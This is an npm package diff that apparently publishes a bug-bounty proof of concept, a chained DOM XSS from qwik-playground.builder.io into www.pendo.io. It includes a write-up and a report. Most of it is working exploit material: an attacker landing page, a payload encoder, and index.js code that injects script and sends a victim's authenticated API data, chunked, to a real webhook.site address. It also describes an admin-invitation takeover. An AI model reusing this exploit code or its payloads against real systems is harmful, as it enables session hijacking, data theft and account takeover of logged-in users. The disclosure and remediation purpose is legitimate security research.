npm-builderio-qwik-poc 1.0.3 → 1.0.5
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/a.html +1 -1
- package/encoder-pendo.html +43 -0
- package/explanation.md +281 -0
- package/index.js +1 -1
- package/package.json +1 -1
- package/pendo-exploit.html +34 -0
- package/report.md +241 -0
package/a.html
CHANGED
|
@@ -19,7 +19,7 @@ document.getElementById('btn').addEventListener('click', function() {
|
|
|
19
19
|
log.textContent += '[4] XSS will iframe pendo.io, postMessage into it,\n';
|
|
20
20
|
log.textContent += ' then reach into the first-party window to exfil data.\n';
|
|
21
21
|
|
|
22
|
-
window.location = 'https://qwik-playground.builder.io/#
|
|
22
|
+
window.location = 'https://qwik-playground.builder.io/#q1YqSy0qzszPU7JSqtDX04OivIJcENZNKs3MSUktyszXLSzPzNYtyE92MNQz0DOxr7BVqgUA';
|
|
23
23
|
}, 3000);
|
|
24
24
|
});
|
|
25
25
|
</script>
|
|
@@ -0,0 +1,43 @@
|
|
|
1
|
+
<!DOCTYPE html>
|
|
2
|
+
<html>
|
|
3
|
+
<head><title>Qwik Playground Hash Encoder</title></head>
|
|
4
|
+
<body style="font-family:monospace;background:#111;color:#eee;padding:40px;max-width:800px;margin:0 auto;">
|
|
5
|
+
<h2>Qwik Playground Hash Encoder</h2>
|
|
6
|
+
<p>Paste your package name below and click Generate.</p>
|
|
7
|
+
|
|
8
|
+
<label>npm package name:</label><br>
|
|
9
|
+
<input id="pkg" type="text" placeholder="your-unique-package-name" style="width:100%;padding:10px;font-size:16px;margin:10px 0;background:#222;color:#eee;border:1px solid #555;"><br><br>
|
|
10
|
+
|
|
11
|
+
<button id="btn" style="padding:12px 30px;font-size:16px;cursor:pointer;background:#0f0;color:#000;border:none;">Generate PoC URL</button>
|
|
12
|
+
|
|
13
|
+
<div id="output" style="margin-top:20px;display:none;">
|
|
14
|
+
<h3>Your PoC URL:</h3>
|
|
15
|
+
<textarea id="result" readonly style="width:100%;height:80px;padding:10px;font-size:14px;background:#222;color:#0f0;border:1px solid #555;"></textarea><br><br>
|
|
16
|
+
<button id="copy" style="padding:8px 20px;cursor:pointer;background:#333;color:#eee;border:1px solid #555;">Copy to Clipboard</button>
|
|
17
|
+
<span id="copied" style="margin-left:10px;color:#0f0;display:none;">Copied!</span>
|
|
18
|
+
</div>
|
|
19
|
+
|
|
20
|
+
<script type="module">
|
|
21
|
+
import { deflateRaw } from 'https://cdn.jsdelivr.net/npm/pako@2.1.0/dist/pako.esm.mjs';
|
|
22
|
+
|
|
23
|
+
document.getElementById('btn').addEventListener('click', function() {
|
|
24
|
+
var pkg = document.getElementById('pkg').value.trim();
|
|
25
|
+
if (!pkg) { alert('Enter a package name'); return; }
|
|
26
|
+
|
|
27
|
+
var payload = JSON.stringify({"version": "x/../../../npm/" + pkg + "@1.0.0?x="});
|
|
28
|
+
var compressed = deflateRaw(new TextEncoder().encode(payload));
|
|
29
|
+
var hash = btoa(String.fromCharCode.apply(null, compressed));
|
|
30
|
+
var url = "https://qwik-playground.builder.io/#" + hash;
|
|
31
|
+
|
|
32
|
+
document.getElementById('result').value = url;
|
|
33
|
+
document.getElementById('output').style.display = 'block';
|
|
34
|
+
});
|
|
35
|
+
|
|
36
|
+
document.getElementById('copy').addEventListener('click', function() {
|
|
37
|
+
navigator.clipboard.writeText(document.getElementById('result').value);
|
|
38
|
+
document.getElementById('copied').style.display = 'inline';
|
|
39
|
+
setTimeout(function() { document.getElementById('copied').style.display = 'none'; }, 2000);
|
|
40
|
+
});
|
|
41
|
+
</script>
|
|
42
|
+
</body>
|
|
43
|
+
</html>
|
package/explanation.md
ADDED
|
@@ -0,0 +1,281 @@
|
|
|
1
|
+
# Chained DOM XSS: qwik-playground.builder.io → www.pendo.io Account Takeover
|
|
2
|
+
|
|
3
|
+
## Overview
|
|
4
|
+
|
|
5
|
+
A chain of two vulnerabilities — a DOM XSS on `qwik-playground.builder.io` and a postMessage injection on `www.pendo.io` — allows a single click to exfiltrate authenticated API data from Pendo's internal `novus-api.pendo.io` service. No authentication is required on the attacker's side. The victim only needs to be logged into Pendo.
|
|
6
|
+
|
|
7
|
+
**One click. Zero auth. Full account data exfiltration.**
|
|
8
|
+
|
|
9
|
+
---
|
|
10
|
+
|
|
11
|
+
## The Chain at a Glance
|
|
12
|
+
|
|
13
|
+
```
|
|
14
|
+
a.html (attacker-controlled page)
|
|
15
|
+
│
|
|
16
|
+
├─ [victim clicks] window.open('https://www.pendo.io', 'pendowin')
|
|
17
|
+
│ → opens pendo.io as a FIRST-PARTY top-level window
|
|
18
|
+
│ → full session cookies available in this context
|
|
19
|
+
│
|
|
20
|
+
└─ [3 seconds later] redirect self → qwik-playground.builder.io/#PAYLOAD
|
|
21
|
+
│
|
|
22
|
+
├─ location.hash decoded → base64 → inflate → JSON
|
|
23
|
+
│ → attacker-controlled "version" field extracted
|
|
24
|
+
│
|
|
25
|
+
├─ dynamic import() with path traversal
|
|
26
|
+
│ → loads attacker's npm package from jsdelivr CDN
|
|
27
|
+
│
|
|
28
|
+
├─ npm package executes:
|
|
29
|
+
│ → creates hidden iframe to www.pendo.io?builder.frameEditing=true
|
|
30
|
+
│ → waits 3 seconds for iframe to load
|
|
31
|
+
│ → sends postMessage with malicious JSON patches
|
|
32
|
+
│
|
|
33
|
+
├─ inside pendo.io iframe:
|
|
34
|
+
│ → BuilderBlock.onWindowMessage receives message (NO origin check)
|
|
35
|
+
│ → patches applied to block.bindings
|
|
36
|
+
│ → stringToFunction() passes binding value to Function() constructor
|
|
37
|
+
│ → attacker JS executes in pendo.io origin context
|
|
38
|
+
│
|
|
39
|
+
└─ attacker JS in iframe:
|
|
40
|
+
→ window.open('', 'pendowin') gets handle to the first-party pendo.io window
|
|
41
|
+
→ same-origin access (both www.pendo.io)
|
|
42
|
+
→ injects <script> into the first-party window
|
|
43
|
+
→ fetch('https://novus-api.pendo.io/pendo/app', {credentials:'include'})
|
|
44
|
+
→ session cookies sent (first-party context)
|
|
45
|
+
→ response exfiltrated to attacker's webhook via <img> tags
|
|
46
|
+
```
|
|
47
|
+
|
|
48
|
+
---
|
|
49
|
+
|
|
50
|
+
## Vulnerability 1: DOM XSS on qwik-playground.builder.io
|
|
51
|
+
|
|
52
|
+
### Source
|
|
53
|
+
|
|
54
|
+
**File:** `static/js/main.23471f2b.chunk.js`
|
|
55
|
+
|
|
56
|
+
The application reads the URL fragment (`location.hash`), base64-decodes it, inflates (decompresses) the result, and parses the output as JSON:
|
|
57
|
+
|
|
58
|
+
```
|
|
59
|
+
location.hash → base64 decode → pako inflateRaw → JSON.parse
|
|
60
|
+
```
|
|
61
|
+
|
|
62
|
+
The parsed JSON object is merged into the application config. The `version` field is extracted and stored in React state.
|
|
63
|
+
|
|
64
|
+
### Sink
|
|
65
|
+
|
|
66
|
+
The `version` value is interpolated into a dynamic `import()` call:
|
|
67
|
+
|
|
68
|
+
```js
|
|
69
|
+
import('https://cdn.jsdelivr.net/npm/@builder.io/qwik@'.concat(F, '/optimizer.mjs'))
|
|
70
|
+
```
|
|
71
|
+
|
|
72
|
+
Where `F` is the attacker-controlled version string.
|
|
73
|
+
|
|
74
|
+
### Path Traversal
|
|
75
|
+
|
|
76
|
+
By setting `version` to:
|
|
77
|
+
|
|
78
|
+
```
|
|
79
|
+
x/../../../npm/ATTACKER-PACKAGE@1.0.0?x=
|
|
80
|
+
```
|
|
81
|
+
|
|
82
|
+
The import URL resolves to:
|
|
83
|
+
|
|
84
|
+
```
|
|
85
|
+
https://cdn.jsdelivr.net/npm/@builder.io/qwik@x/../../../npm/ATTACKER-PACKAGE@1.0.0?x=/optimizer.mjs
|
|
86
|
+
```
|
|
87
|
+
|
|
88
|
+
After path normalization by the CDN:
|
|
89
|
+
|
|
90
|
+
```
|
|
91
|
+
https://cdn.jsdelivr.net/npm/ATTACKER-PACKAGE@1.0.0?x=/optimizer.mjs
|
|
92
|
+
```
|
|
93
|
+
|
|
94
|
+
The `?x=` turns `/optimizer.mjs` into a harmless query parameter. The CDN serves the attacker's npm package entry point, which executes arbitrary JavaScript on the `qwik-playground.builder.io` origin.
|
|
95
|
+
|
|
96
|
+
### Encoding
|
|
97
|
+
|
|
98
|
+
The payload is encoded as: `JSON string → pako deflateRaw → base64`. The resulting base64 string is placed in the URL fragment. No user interaction beyond clicking the link is required.
|
|
99
|
+
|
|
100
|
+
### Impact Alone
|
|
101
|
+
|
|
102
|
+
Arbitrary JS execution on `*.builder.io`. This is significant because `www.pendo.io`'s CSP `frame-ancestors` directive allows framing by `https://*.builder.io`.
|
|
103
|
+
|
|
104
|
+
---
|
|
105
|
+
|
|
106
|
+
## Vulnerability 2: postMessage DOM XSS on www.pendo.io
|
|
107
|
+
|
|
108
|
+
### The Builder.io SDK
|
|
109
|
+
|
|
110
|
+
Pendo's website uses the Builder.io React SDK (`@builder.io/react`), bundled into their Next.js application at:
|
|
111
|
+
|
|
112
|
+
```
|
|
113
|
+
www.pendo.io/_next/static/chunks/806-5a6ab7b039432454.js
|
|
114
|
+
```
|
|
115
|
+
|
|
116
|
+
### Enabler: `builder.frameEditing=true`
|
|
117
|
+
|
|
118
|
+
The SDK checks whether it should enable editing mode:
|
|
119
|
+
|
|
120
|
+
```js
|
|
121
|
+
e.isEditing = !!(
|
|
122
|
+
isIframe &&
|
|
123
|
+
((document.referrer && document.referrer.match(/builder\.io|localhost:1234/)) ||
|
|
124
|
+
-1 !== location.search.indexOf('builder.frameEditing='))
|
|
125
|
+
)
|
|
126
|
+
```
|
|
127
|
+
|
|
128
|
+
When `isEditing` is true and the page is in an iframe, the `BuilderBlock` component registers a `message` event listener. The URL parameter `?builder.frameEditing=true` bypasses the `document.referrer` check entirely.
|
|
129
|
+
|
|
130
|
+
### Source: postMessage with No Origin Check
|
|
131
|
+
|
|
132
|
+
`BuilderBlock.onWindowMessage` processes incoming messages without any origin validation:
|
|
133
|
+
|
|
134
|
+
```js
|
|
135
|
+
_this.onWindowMessage = function (event) {
|
|
136
|
+
var message = event.data;
|
|
137
|
+
if (message)
|
|
138
|
+
switch (message.type) {
|
|
139
|
+
case 'builder.patchUpdates':
|
|
140
|
+
var data = message.data;
|
|
141
|
+
if (!data || !data.data) break;
|
|
142
|
+
var patches = data.data[_this.block.id];
|
|
143
|
+
// ... applies patches directly
|
|
144
|
+
}
|
|
145
|
+
}
|
|
146
|
+
```
|
|
147
|
+
|
|
148
|
+
The sibling component `BuilderContent.onWindowMessage` properly validates origins via `isTrustedHostForEvent()`. This check is **missing** from `BuilderBlock` — a developer oversight.
|
|
149
|
+
|
|
150
|
+
### Patch Application
|
|
151
|
+
|
|
152
|
+
The `applyPatchWithMinimalMutationChain` function applies JSON Patch operations directly to block objects with no validation:
|
|
153
|
+
|
|
154
|
+
```js
|
|
155
|
+
{op: "replace", path: "/bindings/show", value: "ATTACKER_CODE_HERE"}
|
|
156
|
+
```
|
|
157
|
+
|
|
158
|
+
This writes the attacker's string into `block.bindings.show`.
|
|
159
|
+
|
|
160
|
+
### Sink: Function() Constructor
|
|
161
|
+
|
|
162
|
+
During the next React render cycle, all bindings are processed through `stringToFunction()`:
|
|
163
|
+
|
|
164
|
+
```js
|
|
165
|
+
a = Function(
|
|
166
|
+
'state', 'event', 'block', 'builder', 'Device', 'update', 'Builder', 'context',
|
|
167
|
+
"... with (rootState) { return (" + e + "); }"
|
|
168
|
+
);
|
|
169
|
+
```
|
|
170
|
+
|
|
171
|
+
The attacker-controlled binding value `e` is concatenated directly into a `Function()` body with zero sanitization. The resulting function is immediately called.
|
|
172
|
+
|
|
173
|
+
### Block IDs
|
|
174
|
+
|
|
175
|
+
The postMessage patches are keyed by block IDs. These are static CMS content IDs baked into the page HTML as `builder-id` attributes. They are visible in the DOM and only change when Builder.io content is republished. The payload sprays patches across all known block IDs to ensure at least one match.
|
|
176
|
+
|
|
177
|
+
---
|
|
178
|
+
|
|
179
|
+
## The Cookie Partitioning Problem and Solution
|
|
180
|
+
|
|
181
|
+
### The Problem
|
|
182
|
+
|
|
183
|
+
Modern Chrome partitions third-party cookies. When `www.pendo.io` is loaded inside an iframe on `qwik-playground.builder.io`, cookies set in a first-party context are not available. This means `fetch('https://novus-api.pendo.io/...', {credentials:'include'})` from the iframe returns `401 Unauthorized`.
|
|
184
|
+
|
|
185
|
+
### The Solution: Window Handle Bridging
|
|
186
|
+
|
|
187
|
+
The attack uses a two-window technique:
|
|
188
|
+
|
|
189
|
+
1. **`a.html`** (attacker page) opens `www.pendo.io` as a top-level window via `window.open('https://www.pendo.io', 'pendowin')`. This is a **first-party** context — full session cookies are available.
|
|
190
|
+
|
|
191
|
+
2. **`a.html`** then redirects itself to the qwik-playground XSS URL. The XSS payload creates a hidden iframe to `www.pendo.io?builder.frameEditing=true` and triggers the postMessage chain.
|
|
192
|
+
|
|
193
|
+
3. The attacker's JS executing inside the pendo.io iframe calls `window.open('', 'pendowin')`. Since the iframe is same-origin with the first-party pendo.io window (`www.pendo.io`), this returns a **direct handle** to the already-open window.
|
|
194
|
+
|
|
195
|
+
4. Through this same-origin handle, the attacker injects a `<script>` element into the first-party pendo.io window. This script runs with full cookie access, fetches sensitive data from `novus-api.pendo.io`, and exfiltrates it.
|
|
196
|
+
|
|
197
|
+
---
|
|
198
|
+
|
|
199
|
+
## Exfiltration
|
|
200
|
+
|
|
201
|
+
The injected script in the first-party pendo.io window:
|
|
202
|
+
|
|
203
|
+
1. Calls `fetch('https://novus-api.pendo.io/pendo/app', {credentials: 'include'})` — cookies are sent because this is a first-party same-site request.
|
|
204
|
+
2. Base64-encodes the response.
|
|
205
|
+
3. Chunks the encoded data into 2000-character segments.
|
|
206
|
+
4. Sends each chunk via `new Image().src = 'https://webhook.site/...?chunk=N&d=DATA'` — `<img>` tags bypass CORS restrictions.
|
|
207
|
+
|
|
208
|
+
The attacker receives the full API response on their webhook, containing account data, user identities, workspace information, and session details.
|
|
209
|
+
|
|
210
|
+
---
|
|
211
|
+
|
|
212
|
+
## Exfiltrated Data
|
|
213
|
+
|
|
214
|
+
The `novus-api.pendo.io/pendo/app` endpoint returns:
|
|
215
|
+
|
|
216
|
+
- Application metadata and configuration
|
|
217
|
+
- User identity information (usernames, emails, roles)
|
|
218
|
+
- Workspace and organization data
|
|
219
|
+
- Account creation timestamps and last-updated metadata
|
|
220
|
+
- Internal user IDs and authentication token key types
|
|
221
|
+
|
|
222
|
+
---
|
|
223
|
+
|
|
224
|
+
## PoC Files
|
|
225
|
+
|
|
226
|
+
### `a.html` — Attacker Landing Page
|
|
227
|
+
|
|
228
|
+
The victim visits this page and clicks a button. It:
|
|
229
|
+
1. Opens `www.pendo.io` as a named first-party window
|
|
230
|
+
2. Waits 3 seconds for pendo.io to load
|
|
231
|
+
3. Redirects to the qwik-playground XSS URL
|
|
232
|
+
|
|
233
|
+
### `index.js` — npm Package Payload
|
|
234
|
+
|
|
235
|
+
Published to npm as `npm-builderio-qwik-poc`. Loaded via the qwik-playground path traversal. It:
|
|
236
|
+
1. Creates a hidden iframe to `www.pendo.io?builder.frameEditing=true`
|
|
237
|
+
2. Waits 3 seconds for the iframe to load
|
|
238
|
+
3. Sends `builder.patchUpdates` postMessage with malicious bindings
|
|
239
|
+
4. The binding code gets a handle to the first-party pendo.io window
|
|
240
|
+
5. Injects a script that fetches and exfiltrates API data
|
|
241
|
+
|
|
242
|
+
### One-Click PoC URL (without a.html)
|
|
243
|
+
|
|
244
|
+
```
|
|
245
|
+
https://qwik-playground.builder.io/#q1YqSy0qzszPU7JSqtDX04OivIJcENZNKs3MSUktyszXLSzPzNYtyE92MNQz0DO2r7BVqgUA
|
|
246
|
+
```
|
|
247
|
+
|
|
248
|
+
This URL alone triggers the XSS on `qwik-playground.builder.io` and the postMessage chain on `www.pendo.io`. The `a.html` wrapper adds the window-handle bridging technique needed to bypass Chrome's cookie partitioning for full data exfiltration.
|
|
249
|
+
|
|
250
|
+
---
|
|
251
|
+
|
|
252
|
+
## Root Causes
|
|
253
|
+
|
|
254
|
+
| # | Root Cause | Component |
|
|
255
|
+
|---|-----------|-----------|
|
|
256
|
+
| 1 | User-controlled `location.hash` flows into a dynamic `import()` with no URL validation | qwik-playground.builder.io |
|
|
257
|
+
| 2 | `BuilderBlock.onWindowMessage` has no origin check on incoming `postMessage` events | Builder.io React SDK on www.pendo.io |
|
|
258
|
+
| 3 | `stringToFunction()` passes untrusted input directly to `Function()` constructor | Builder.io React SDK on www.pendo.io |
|
|
259
|
+
| 4 | `www.pendo.io` CSP `frame-ancestors` allows `*.builder.io` to frame it | www.pendo.io |
|
|
260
|
+
|
|
261
|
+
---
|
|
262
|
+
|
|
263
|
+
## Impact
|
|
264
|
+
|
|
265
|
+
- **Confidentiality:** Full exfiltration of authenticated API data from `novus-api.pendo.io`, including user identity, account metadata, and workspace configuration.
|
|
266
|
+
- **Integrity:** Arbitrary JS execution on `www.pendo.io` allows performing any action as the victim — modifying account settings, accessing dashboards, manipulating analytics data.
|
|
267
|
+
- **Availability:** The attacker could inject destructive payloads that corrupt the victim's session or workspace.
|
|
268
|
+
- **Attack complexity:** Low. Single click from an attacker-controlled page. No authentication required on the attacker's side.
|
|
269
|
+
- **User interaction:** One click (on the attacker's page).
|
|
270
|
+
|
|
271
|
+
---
|
|
272
|
+
|
|
273
|
+
## Recommendations
|
|
274
|
+
|
|
275
|
+
1. **qwik-playground.builder.io:** Validate the `version` field against a strict pattern (e.g., semver regex) before interpolating it into the `import()` URL. Reject values containing `/`, `..`, or `?`.
|
|
276
|
+
|
|
277
|
+
2. **Builder.io React SDK:** Add origin validation to `BuilderBlock.onWindowMessage`, matching the existing check in `BuilderContent.onWindowMessage` via `isTrustedHostForEvent()`.
|
|
278
|
+
|
|
279
|
+
3. **Builder.io React SDK:** Replace `Function()` constructor usage in `stringToFunction()` with a safe expression evaluator that does not allow arbitrary code execution.
|
|
280
|
+
|
|
281
|
+
4. **www.pendo.io:** Restrict `frame-ancestors` CSP to specific trusted `builder.io` subdomains rather than the wildcard `*.builder.io`.
|
package/index.js
CHANGED
|
@@ -11,7 +11,7 @@ ids.forEach(function(id) {
|
|
|
11
11
|
allIds.push(id.replace('builder-', ''));
|
|
12
12
|
});
|
|
13
13
|
|
|
14
|
-
var exfil = "var w=window.open('','pendowin');if(w){var s=w.document.createElement('script');s.textContent=\"fetch('https://novus-api.pendo.io/pendo/app',{credentials:'include'}).then(function(r){return r.text()}).then(function(d){var e=btoa(d);var cs=[];for(var i=0;i<e.length;i+=2000){cs.push(e.substring(i,i+2000))}cs.forEach(function(c,i){new Image().src='https://webhook.site/
|
|
14
|
+
var exfil = "var w=window.open('','pendowin');if(w){var s=w.document.createElement('script');s.textContent=\"fetch('https://novus-api.pendo.io/pendo/app',{credentials:'include'}).then(function(r){return r.text()}).then(function(d){var e=btoa(d);var cs=[];for(var i=0;i<e.length;i+=2000){cs.push(e.substring(i,i+2000))}cs.forEach(function(c,i){new Image().src='https://webhook.site/236d0505-1750-49fe-907d-604b0934b5c7?chunk='+i+'&total='+cs.length+'&d='+encodeURIComponent(c)})})\";w.document.head.appendChild(s)}";
|
|
15
15
|
|
|
16
16
|
iframe.onload = function() {
|
|
17
17
|
setTimeout(function() {
|
package/package.json
CHANGED
|
@@ -0,0 +1,34 @@
|
|
|
1
|
+
<!DOCTYPE html>
|
|
2
|
+
<html>
|
|
3
|
+
<head><title>Builder.io + Pendo PoC</title></head>
|
|
4
|
+
<body style="font-family:sans-serif;background:#111;color:#eee;padding:40px;max-width:700px;margin:0 auto;text-align:center;">
|
|
5
|
+
<h2>Builder.io → Pendo DOM XSS Chain</h2>
|
|
6
|
+
<p>Make sure you are logged into <a href="https://app.pendo.io" target="_blank" style="color:#4af;">app.pendo.io</a> first.</p>
|
|
7
|
+
<button id="btn" style="padding:18px 40px;font-size:20px;cursor:pointer;background:#e33;color:#fff;border:none;border-radius:6px;">Run Exploit</button>
|
|
8
|
+
<pre id="log" style="margin-top:30px;background:#1a1a1a;color:#0f0;padding:20px;text-align:left;border-radius:6px;min-height:120px;"></pre>
|
|
9
|
+
<script>
|
|
10
|
+
document.getElementById('btn').addEventListener('click', function() {
|
|
11
|
+
var log = document.getElementById('log');
|
|
12
|
+
this.disabled = true;
|
|
13
|
+
this.style.background = '#666';
|
|
14
|
+
|
|
15
|
+
log.textContent = '[1] Opening www.pendo.io as first-party window (session cookies load here)...\n';
|
|
16
|
+
window.open('https://www.pendo.io', 'pendowin');
|
|
17
|
+
|
|
18
|
+
setTimeout(function() {
|
|
19
|
+
log.textContent += '[2] Redirecting to qwik-playground.builder.io XSS payload...\n';
|
|
20
|
+
log.textContent += '[3] Payload will:\n';
|
|
21
|
+
log.textContent += ' - iframe www.pendo.io with builder.frameEditing=true\n';
|
|
22
|
+
log.textContent += ' - send postMessage to inject JS via Function()\n';
|
|
23
|
+
log.textContent += ' - bridge into first-party window (same-origin)\n';
|
|
24
|
+
log.textContent += ' - fetch novus-api.pendo.io/pendo/app with victim cookies\n';
|
|
25
|
+
log.textContent += ' - exfiltrate response to webhook\n\n';
|
|
26
|
+
log.textContent += '[*] Check your leaked data at:\n';
|
|
27
|
+
log.textContent += ' https://webhook.site/#!/view/236d0505-1750-49fe-907d-604b0934b5c7\n';
|
|
28
|
+
|
|
29
|
+
window.location = 'https://qwik-playground.builder.io/#q1YqSy0qzszPU7JSqtDX04OivIJcENZNKs3MSUktyszXLSzPzNYtyE92MNQz0DOyr7BVqgUA';
|
|
30
|
+
}, 3000);
|
|
31
|
+
});
|
|
32
|
+
</script>
|
|
33
|
+
</body>
|
|
34
|
+
</html>
|
package/report.md
ADDED
|
@@ -0,0 +1,241 @@
|
|
|
1
|
+
# Chained DOM XSS on qwik-playground.builder.io → www.pendo.io Full Workspace Takeover via novus-api.pendo.io
|
|
2
|
+
|
|
3
|
+
## Summary
|
|
4
|
+
|
|
5
|
+
While testing Builder.io assets, I found a DOM XSS in `qwik-playground.builder.io/static/js/main.23471f2b.chunk.js` that chains into a second DOM XSS on `www.pendo.io` via the Builder.io React SDK's postMessage handler. Combined with a CORS misconfiguration on `novus-api.pendo.io`, this results in full workspace and account takeover on **app.pendo.io**.
|
|
6
|
+
|
|
7
|
+
**Vulnerability 1** — Unsanitized `location.hash` flows into a dynamic `import()` with path traversal:
|
|
8
|
+
|
|
9
|
+
```js
|
|
10
|
+
// main.23471f2b.chunk.js:128
|
|
11
|
+
import('https://cdn.jsdelivr.net/npm/@builder.io/qwik@'.concat(F, '/optimizer.mjs'))
|
|
12
|
+
// F = attacker-controlled version from location.hash
|
|
13
|
+
```
|
|
14
|
+
|
|
15
|
+
**Vulnerability 2** — `BuilderBlock.onWindowMessage` in the Builder.io SDK on `www.pendo.io` accepts `postMessage` with no origin check, and passes attacker data into `Function()`:
|
|
16
|
+
|
|
17
|
+
```js
|
|
18
|
+
// 806-5a6ab7b039432454.js:4399 — NO origin check
|
|
19
|
+
_this.onWindowMessage = function (event) {
|
|
20
|
+
var message = event.data;
|
|
21
|
+
if (message)
|
|
22
|
+
switch (message.type) {
|
|
23
|
+
case 'builder.patchUpdates':
|
|
24
|
+
// patches applied directly to block bindings
|
|
25
|
+
}
|
|
26
|
+
}
|
|
27
|
+
|
|
28
|
+
// 806-5a6ab7b039432454.js:4088 — sink
|
|
29
|
+
a = Function('state','event','block','builder','Device','update','Builder','context',
|
|
30
|
+
"... with (rootState) { return (" + e + "); }" // e = attacker string, no sanitization
|
|
31
|
+
);
|
|
32
|
+
```
|
|
33
|
+
|
|
34
|
+
**Vulnerability 3** — CORS misconfiguration on `novus-api.pendo.io`. The API returns `Access-Control-Allow-Origin: https://www.pendo.io` with `Access-Control-Allow-Credentials: true`. JS running on `www.pendo.io` can make authenticated requests and read responses — including `POST /pendo/user` which creates admin invitations for the victim's Pendo subscription.
|
|
35
|
+
|
|
36
|
+
The attacker gets full admin access to the victim's **app.pendo.io** workspace. One click, full account and organization takeover.
|
|
37
|
+
|
|
38
|
+
## Environment / Prerequisites
|
|
39
|
+
|
|
40
|
+
| Role | Purpose | Details |
|
|
41
|
+
|------|---------|---------|
|
|
42
|
+
| Victim | Logged-in Pendo user | Any authenticated session on pendo.io |
|
|
43
|
+
| Attacker | Sends victim a link | No account needed on any platform |
|
|
44
|
+
|
|
45
|
+
No special browser, extension, or configuration is required.
|
|
46
|
+
|
|
47
|
+
## Steps to Reproduce
|
|
48
|
+
|
|
49
|
+
There are two paths. **Path A is the one you should use to verify this bug** — everything is deployed, just log in and click a link. Path B shows the full workspace takeover chain where the attacker invites themselves as admin. The video PoC attached covers both paths end to end.
|
|
50
|
+
|
|
51
|
+
---
|
|
52
|
+
|
|
53
|
+
### Path A — Data Exfiltration PoC (Use This One)
|
|
54
|
+
|
|
55
|
+
This is the fastest way to verify the chain works. Everything is already set up. The exploit fetches the victim's data from `novus-api.pendo.io` and sends it to a webhook. You'll see your own PII, API keys, and account data land on the webhook page.
|
|
56
|
+
|
|
57
|
+
**Step 1:** Log in to Pendo at `https://app.pendo.io`.
|
|
58
|
+
|
|
59
|
+
**Step 2:** Open this link in the same browser:
|
|
60
|
+
|
|
61
|
+
```
|
|
62
|
+
https://poc1.xyz/pendo-poc.html
|
|
63
|
+
```
|
|
64
|
+
|
|
65
|
+
**Step 3:** Click the "View Document" button. Two things happen:
|
|
66
|
+
- A new tab opens to `www.pendo.io` (loads your session cookies)
|
|
67
|
+
- After 3 seconds, the original tab redirects to the qwik-playground XSS, which silently triggers the full chain
|
|
68
|
+
|
|
69
|
+
**Step 4:** Go to the webhook to see your leaked data:
|
|
70
|
+
|
|
71
|
+
```
|
|
72
|
+
https://webhook.site/236d0505-1750-49fe-907d-604b0934b5c7
|
|
73
|
+
```
|
|
74
|
+
|
|
75
|
+
Within ~10 seconds you'll see incoming requests. Each request has a `d` query parameter containing a base64-encoded chunk of the API response. To read it, copy the `d` value, go to https://www.base64decode.org/, paste it, and click Decode. You'll see JSON containing:
|
|
76
|
+
|
|
77
|
+
- Your **email**, **name**, **role**, and **internal user ID**
|
|
78
|
+
- **Workspace metadata** and **subscription IDs**
|
|
79
|
+
- **API keys** and **track event secrets**
|
|
80
|
+
- **Feature flags** and **application configuration**
|
|
81
|
+
- **Account creation timestamps** and **auth token details**
|
|
82
|
+
|
|
83
|
+
That's it. One click, full data exfiltration from `novus-api.pendo.io`.
|
|
84
|
+
|
|
85
|
+
---
|
|
86
|
+
|
|
87
|
+
### Path B — Full Workspace Takeover (Admin Invitation)
|
|
88
|
+
|
|
89
|
+
This is the real impact. Instead of just reading data, the attacker uses `POST /pendo/user` to invite themselves as **admin (role 2)** to the victim's Pendo subscription. The invitation works on both `novus.pendo.io` AND `app.pendo.io` because they share the same subscription and user database. After accepting the invite, the attacker has full admin access to the victim's workspace.
|
|
90
|
+
|
|
91
|
+
Path B requires building and publishing your own npm package with your attacker email. Here's how:
|
|
92
|
+
|
|
93
|
+
**Step 1:** Go to https://webhook.site and copy your unique webhook URL. This is where you'll see the API response confirming the invitation was created.
|
|
94
|
+
|
|
95
|
+
**Step 2:** Create a file called `index.js` with the following content. Replace `ATTACKER-EMAIL` with the email you want the admin invitation sent to, and `YOUR-WEBHOOK-URL` with the webhook URL from Step 1:
|
|
96
|
+
|
|
97
|
+
```js
|
|
98
|
+
var iframe = document.createElement('iframe');
|
|
99
|
+
iframe.src = 'https://www.pendo.io/?builder.frameEditing=true';
|
|
100
|
+
iframe.style.display = 'none';
|
|
101
|
+
document.body.appendChild(iframe);
|
|
102
|
+
|
|
103
|
+
var ids = [
|
|
104
|
+
"builder-529708efa3054c31815908b7424a00f3",
|
|
105
|
+
"builder-39cd75f3df734767a5b9a2401f2c68de",
|
|
106
|
+
"builder-aceec114adf843bbba5047472697ade6",
|
|
107
|
+
"builder-20fdbf1755164724b173e923cb624aae",
|
|
108
|
+
"builder-13f9eb2c6be74a57a4c749d1a07dbdfe",
|
|
109
|
+
"builder-464f2ed55d8e41c6b018fccaa73da2c2",
|
|
110
|
+
"builder-ff7148d9d0314793a600422004f68394",
|
|
111
|
+
"builder-a51289f35ede447a88b61e4215a768d1",
|
|
112
|
+
"builder-385c423d1cb347e4a68ea085b76fcf2e",
|
|
113
|
+
"builder-554ef1c723bb43fba5afcbdbb00b17c6",
|
|
114
|
+
"builder-aa9898d45378440eb1f2eb10756d392d",
|
|
115
|
+
"builder-220b267e15fa455aa1e58c90349fae4c",
|
|
116
|
+
"builder-ed684a95a2744df5b6a6e217773bf5c8",
|
|
117
|
+
"builder-ae32bf8b0d3642bb9ea9274bfcd08c9a",
|
|
118
|
+
"builder-6486bf0f5ddd46859cb81cf61a28ea6d",
|
|
119
|
+
"builder-420729f3ca114dd493d050c3a633cb52",
|
|
120
|
+
"builder-af8cd446669845679c6ce71447805b20",
|
|
121
|
+
"builder-96a5d7a70a6546f3bd3666e6572e48bd",
|
|
122
|
+
"builder-de1bf0b87e1445d09270397f8f75da4c",
|
|
123
|
+
"builder-3f368183bc314ba396dbaf34967e8e67"
|
|
124
|
+
];
|
|
125
|
+
|
|
126
|
+
var allIds = [];
|
|
127
|
+
ids.forEach(function(id) {
|
|
128
|
+
allIds.push(id);
|
|
129
|
+
allIds.push(id.replace('builder-', ''));
|
|
130
|
+
});
|
|
131
|
+
|
|
132
|
+
